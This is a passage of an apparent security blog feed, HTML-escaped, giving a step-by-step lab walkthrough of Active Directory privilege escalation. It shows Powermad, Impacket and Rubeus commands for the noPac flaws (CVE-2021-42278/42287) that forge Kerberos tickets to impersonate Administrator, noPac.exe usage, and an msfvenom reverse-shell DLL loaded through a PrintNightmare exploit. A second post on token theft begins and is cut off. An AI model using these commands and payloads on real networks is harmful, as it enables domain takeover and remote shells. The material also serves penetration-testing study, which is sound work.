manually with ADSIEdit, as shown in Figure 1.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-privilege-escalation/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;On a vulnerable machine, the account can be renamed to the domain controller&amp;rsquo;s account name. This is the key step in the exploit chain.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CVE-2021-42278 characteristics:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Root cause:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Active Directory allows a machine account&amp;#39;s sAMAccountName to be changed&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- The trailing $ can be removed from the machine account name&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- It can even be renamed to the domain controller&amp;#39;s name (without $)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Under normal conditions:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Machine account: WIN10$&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Domain controller account: DC01$&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Machine accounts must end with $&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- This is a security restriction&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. Exploitation:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Rename a standard machine account to the domain controller&amp;#39;s name (without $)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Example: rename WIN10$ to DC01&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- This causes identity confusion&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;=======================================================================&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Normal computer account:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hostname: WIN10&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sAMAccountName: WIN10$&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. After exploiting the vulnerability:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hostname: WIN10&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sAMAccountName: WindowsServerAD # Changed to the domain controller name without $&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Service Principal Names&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;A service principal name (SPN) identifies an authenticated entity, such as machinename$@domainname. Kerberos uses [SPNs as part of the authentication process for various entities. An SPN is essentially a unique identifier for a service instance,](&lt;a class="link" href="https://docs.microsoft.com/en-us/windows/win32/ad/service-principal-names#:~:text=A%20service%20principal%20name%20%28SPN,with%20a%20service%20logon%20account.&amp;amp;text=The%20installer%20then%20composes%20the,in%20Active%20Directory%20Domain%20Services.%29" target="_blank" rel="noopener"&#10; &gt;https://docs.microsoft.com/en-us/windows/win32/ad/service-principal-names#:~:text=A%20service%20principal%20name%20(SPN,with%20a%20service%20logon%20account.&amp;text=The%20installer%20then%20composes%20the,in%20Active%20Directory%20Domain%20Services.)&lt;/a&gt; and &lt;a class="link" href="https://www.fortinet.com/resources/cyberglossary/kerberos-authentication?utm_source=blog&amp;amp;utm_medium=blog&amp;amp;utm_campaign=blog-kerberos-authentication" target="_blank" rel="noopener"&#10; &gt;Kerberos&lt;/a&gt; authentication uses it to associate a service instance with its service logon account.&lt;/p&gt;&#10;&lt;p&gt;This creates a problem when you try to rename a computer account to the domain controller&amp;rsquo;s account name, because changing the samAccountName attribute also triggers a corresponding change to the account&amp;rsquo;s SPNs. The change fails because an SPN with that name already exists. To get around this, you can clear the computer&amp;rsquo;s &amp;ldquo;servicePrincipalName&amp;rdquo; attribute. Exploiting this vulnerability therefore also requires permission to edit the &amp;ldquo;servicePrincipalName&amp;rdquo; attribute.&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s start setting up the environment.&lt;/p&gt;&#10;&lt;p&gt;Lab environment:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Domain: &lt;code&gt;test.local&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;Domain controller: Windows Server 2022, hostname: &lt;code&gt;WindowsServerAD&lt;/code&gt;, IP: &lt;code&gt;192.168.0.110&lt;/code&gt;, user: &lt;code&gt;administrator&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;Domain host: Windows 10, hostname: &lt;code&gt;win10&lt;/code&gt;, IP: &lt;code&gt;192.168.0.104&lt;/code&gt;, user: &lt;code&gt;jerry&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Run the following on the domain-joined host win10&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Configure the environment:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use powermad.ps1 to add a machine account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Download: https://github.com/Kevin-Robertson/Powermad&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Direct import causes an error; see https://www.jianshu.com/p/a0a88d3bb787&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-ExecutionPolicy RemoteSigned&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module .\Powermad.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New-MachineAccount -MachineAccount testuser1 -Domain test.local -DomainController WindowsServerAD.test.local -Verbose&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If the method above repeatedly reports insufficient privileges, use the following method; it requires credentials for the current domain account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python addcomputer.py -computer-name &amp;#39;testuser1&amp;#39; -computer-pass &amp;#39;Password123!&amp;#39; &amp;#39;test.local/jerry:Password123!&amp;#39; -dc-ip 192.168.0.110&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The account has now been created. (You can also do this through the ADSI Edit GUI with adsiedit.msc.)&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Clear the SPN&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-ADComputer testuser1 -Clear servicePrincipalName&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Set the computer account name to the domain controller&amp;#39;s hostname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-MachineAccountAttribute -MachineAccount testuser1 -Value &amp;#34;WindowsServerAD&amp;#34; -Attribute samaccountname -Verbose&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="cve-2021-42287---kerberos-key-distribution-center-confusion"&gt;&lt;a href="#cve-2021-42287---kerberos-key-distribution-center-confusion" class="header-anchor"&gt;&lt;/a&gt;CVE-2021-42287 - Kerberos Key Distribution Center Confusion&#10;&lt;/h4&gt;&lt;p&gt;The Kerberos Key Distribution Center (KDC) is an Active Directory service that handles Kerberos ticket requests. A ticket-granting ticket (TGT) is a special type of ticket that can be used to obtain other tickets. A TGT is used to request an access token for a specific resource or system in the domain from the Ticket Granting Service (TGS). When a service ticket request is sent but the account cannot be found, the KDC automatically looks for the requested account name with a &amp;ldquo;$&amp;rdquo; appended. S4U2self (Service for User to Self) is an extension that lets a service obtain a Kerberos service ticket for itself. The service ticket includes the user&amp;rsquo;s groups, so it can be used in authorization decisions. All of these Active Directory terms, along with full explanations, can be found &lt;a class="link" href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/4a624fb5-a078-4d30-8ad1-e9ab71e0bc47#gt_2214804a-4a44-46f4-b6d2-a78f4ff39a39" target="_blank" rel="noopener"&#10; &gt;here&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;This vulnerability can be triggered if an account obtains a TGT and is then deleted, after which that TGT is used to request a service ticket to itself on behalf of another user (which is essentially S4U2self). The account cannot be found, so the KDC tries looking it up again with a &amp;ldquo;$&amp;rdquo; appended. If a domain controller account with that name exists, the requesting user is granted its service ticket, effectively giving the user domain administrator privileges.&lt;/p&gt;&#10;&lt;p&gt;You can also create an account yourself here, even from outside the domain, as long as you have permission to create users on the domain controller.&lt;/p&gt;&#10;&lt;p&gt;Request a TGT:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Rubeus.exe asktgt /user:WindowsServerAD /password:Password123! /domain:test.local /dc:WindowsServerAD.test.local /nowrap&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-privilege-escalation/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then either delete the account or rename it back to its original name.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;Once the user has been deleted, during the S4U2self process the KDC:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;First looks for the account name without $&lt;/li&gt;&#10;&lt;li&gt;If it cannot find it, automatically tries again with $ appended&lt;/li&gt;&#10;&lt;li&gt;If a domain controller account with the same name exists, grants elevated privileges&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module .\Powermad.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-MachineAccountAttribute -MachineAccount testuser1 -Value &amp;#34;testuser1$&amp;#34; -Attribute samaccountname -Verbose&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;You can also perform this step with adsiedit.msc.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-privilege-escalation/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Request an ST for the domain controller:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:WindowsServerAD.test.local /self /altservice:LDAP/WindowsServerAD.test.local /ptt /ticket:[base64]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Here, base64 is the Base64-encoded TGT obtained above.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-privilege-escalation/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;We successfully obtained the ST. Because we used the /ptt parameter, the ticket has already been injected.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-privilege-escalation/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The original author also pointed out that we obtained LDAP privileges, so we cannot access shared directories.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-privilege-escalation/image-0006.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Generate the ST again:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:WindowsServerAD.test.local /self /altservice:cifs/WindowsServerAD.test.local /ptt /ticket:&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-privilege-escalation/image-0007.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="automated-exploitation---nopac"&gt;&lt;a href="#automated-exploitation---nopac" class="header-anchor"&gt;&lt;/a&gt;Automated Exploitation - noPac&#10;&lt;/h4&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/cube0x0/noPac" target="_blank" rel="noopener"&#10; &gt;https://github.com/cube0x0/noPac&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;You need to compile it yourself, and the domain host also needs a .NET environment. Here is how to use it:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;noPac.exe scan -domain htb.local -user domain_user -pass &amp;#39;Password123!&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;noPac.exe -dc dc02.htb.local -mAccount demo -mPassword Password123!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;noPac.exe -domain htb.local -user domain_user -pass &amp;#39;Password123!&amp;#39; /dc dc02.htb.local /mAccount demo /mPassword Password123!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;noPac.exe -domain htb.local -user domain_user -pass &amp;#39;Password123!&amp;#39; /dc dc02.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I&amp;rsquo;ve already compiled it here.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Enter credentials for a domain host to test whether the vulnerability exists&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;noPac.exe scan -domain test.local -user jerry -pass Password123!&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-privilege-escalation/image-0008.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create a machine account, then change its computer account name to the domain controller&amp;#39;s hostname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;noPac.exe -dc WindowsServerAD.test.local -mAccount testuser1 -mPassword Password123!&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-privilege-escalation/image-0009.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The command-line attempt failed earlier because of insufficient permissions, and the same thing happens here. Impacket&amp;rsquo;s addcomputer.py does work, though.&lt;/p&gt;&#10;&lt;p&gt;There are two other one-click exploitation methods, but I didn&amp;rsquo;t use them. You could get them working with a few changes if needed. The one-click exploits include a command that creates a user, but creating a user fails for me due to insufficient permissions, so these exploits do not work in my environment either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-privilege-escalation/image-0010.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;For the remaining steps, refer to the original author:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://cloud.tencent.com/developer/article/1922502" target="_blank" rel="noopener"&#10; &gt;https://cloud.tencent.com/developer/article/1922502&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It mainly covers creating a new domain user after obtaining domain controller administrator privileges, adding that user to Domain Admins, and then taking over the domain controller through the newly created domain account.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-privilege-escalation/image-0011.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h2 id="ii-printnightmare-cve-2021-34527"&gt;&lt;a href="#ii-printnightmare-cve-2021-34527" class="header-anchor"&gt;&lt;/a&gt;II. PrintNightmare (CVE-2021-34527)&#10;&lt;/h2&gt;&lt;p&gt;Create a malicious DLL:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f dll -o /var/public/rev.dll&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/cube0x0/CVE-2021-1675" target="_blank" rel="noopener"&#10; &gt;https://github.com/cube0x0/CVE-2021-1675&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 CVE-2021-1675.py My.local/bob:Pass123@192.168.0.251&amp;#39;\\192.168.0.106\\public\\rev.dll&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This is mainly used for privilege escalation.&lt;/p&gt;&#10;</description></item><item><title>Active Directory Pentesting: Shadow Copies and CVE-2020-1472</title><link>http://xtpol.com/p/active-directory-shadow-copy-and-zerologon/</link><pubDate>Wed, 20 Nov 2024 10:08:00 +0800</pubDate><guid>http://xtpol.com/p/active-directory-shadow-copy-and-zerologon/</guid><description>&lt;p&gt;References&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://0range-x.github.io/2021/11/22/CVE-2020-1472" target="_blank" rel="noopener"&#10; &gt;https://0range-x.github.io/2021/11/22/CVE-2020-1472&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://cloud.tencent.com/developer/article/1727748" target="_blank" rel="noopener"&#10; &gt;https://cloud.tencent.com/developer/article/1727748&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/Captain_RB/article/details/120643838" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/Captain_RB/article/details/120643838&lt;/a&gt;&lt;/p&gt;&#10;&lt;h2 id="1-token-theft"&gt;&lt;a href="#1-token-theft" class="header-anchor"&gt;&lt;/a&gt;1. Token Theft&#10;&lt;/h2&gt;&lt;p&gt;I. What Tokens Do&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;A token is a temporary secret key used by the system. It is equivalent to an account and password, and determines whether a request is allowed and which user made it. It lets you access network and system resources without providing a password or other credentials. These tokens remain on the 